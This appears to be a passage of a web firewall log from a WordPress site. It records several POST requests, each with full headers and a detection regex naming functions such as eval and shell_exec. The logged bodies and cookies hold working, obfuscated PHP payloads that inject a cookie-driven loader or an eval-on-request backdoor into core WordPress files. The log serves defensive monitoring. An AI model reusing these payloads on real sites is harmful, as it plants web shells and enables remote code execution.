SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-length:4331\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\n\nEw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:44:52","162.240.108.214","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:4331\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\n\nNh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:44:56","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:4354\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/accordion-item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-64%252B64%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B92-91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-25%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6-2%255D%2529%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520function%2520core_engine%2528%2524comp%2529%2520%257B%2520%2524pset%2520%253D%2520%2524_COOKIE%253B%2520%2524reference%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527779e8169%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524reference%2529%2529%2520%257B%2520%2524reference%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522system_core%2522%253B%2520%257D%2520%2524holder%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524pset%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524reference%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520fopen%2528%2524reference%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pointer%252C%2520%2524holder%2529%253B%2520fclose%2528%2524pointer%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524reference%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524reference%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522core_engine%2522%2529%253B%2520%2524data%2520%253D%2520%2522118430284303c1351716ee3122759435%2522%253B%2520if%2520%2528%2521strncmp%2528%2524data%252C%2520%2524pset%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_event_dispatcher%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 17:45:56","190.0.230.22","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/image-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VdzYYV%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFz4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 